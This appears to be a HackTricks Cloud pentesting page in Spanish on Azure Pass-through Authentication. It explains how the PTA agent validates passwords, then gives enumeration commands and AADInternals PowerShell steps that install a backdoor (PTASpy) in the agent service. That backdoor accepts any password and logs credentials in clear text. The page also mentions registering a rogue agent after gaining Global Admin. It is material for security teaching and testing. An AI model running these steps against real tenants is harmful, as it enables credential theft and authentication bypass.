Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md
carlospolop 9cdeafc65b f
2025-08-19 17:20:21 +02:00

4.8 KiB

Az - PTA - Pass-through Authentication

{{#include ../../../banners/hacktricks-training.md}}

Información Básica

Desde la documentación: La autenticación pass-through de Microsoft Entra permite a sus usuarios iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.

En PTA las identidades están sincronizadas pero las contraseñas no como en PHS.

La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un agente de autenticación que se ejecuta en un servidor local (no necesita estar en el DC local).

Flujo de Autenticación

  1. Para iniciar sesión, el usuario es redirigido a Azure AD, donde envía el nombre de usuario y la contraseña.
  2. Las credenciales son encriptadas y colocadas en una cola en Azure AD.
  3. El agente de autenticación local recoge las credenciales de la cola y las desencripta. Este agente se llama "agente de autenticación pass-through" o agente PTA.
  4. El agente valida las credenciales contra el AD local y envía la respuesta de vuelta a Azure AD que, si la respuesta es positiva, completa el inicio de sesión del usuario.

Warning

Si un atacante compromete el PTA, puede ver todas las credenciales de la cola (en texto claro).
También puede validar cualquier credencial en AzureAD (ataque similar a la llave maestra).

Enumeración

Desde Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Verifica si el agente está en ejecución en el servidor local:

Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Si tienes acceso admin al servidor de Azure AD Connect con el agente PTA en ejecución, puedes usar el módulo AADInternals para insertar una puerta trasera que validará TODAS las contraseñas introducidas (así que todas las contraseñas serán válidas para la autenticación):

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

Note

Si la instalación falla, esto se debe probablemente a que faltan los Microsoft Visual C++ 2015 Redistributables.

Este backdoor hará:

  • Crear una carpeta oculta C:\PTASpy
  • Copiar un PTASpy.dll a C:\PTASpy
  • Inyectar PTASpy.dll al proceso AzureADConnectAuthenticationAgentService

Note

Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.

Caution

Después de obtener privilegios de GA en la nube, es posible registrar un nuevo agente PTA y repetir los pasos previos para autenticar usando cualquier contraseña y también, obtener las contraseñas en texto claro.

Seamless SSO

Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Verifique en:

{{#ref}} az-seamless-sso.md {{#endref}}

Referencias

{{#include ../../../banners/hacktricks-training.md}}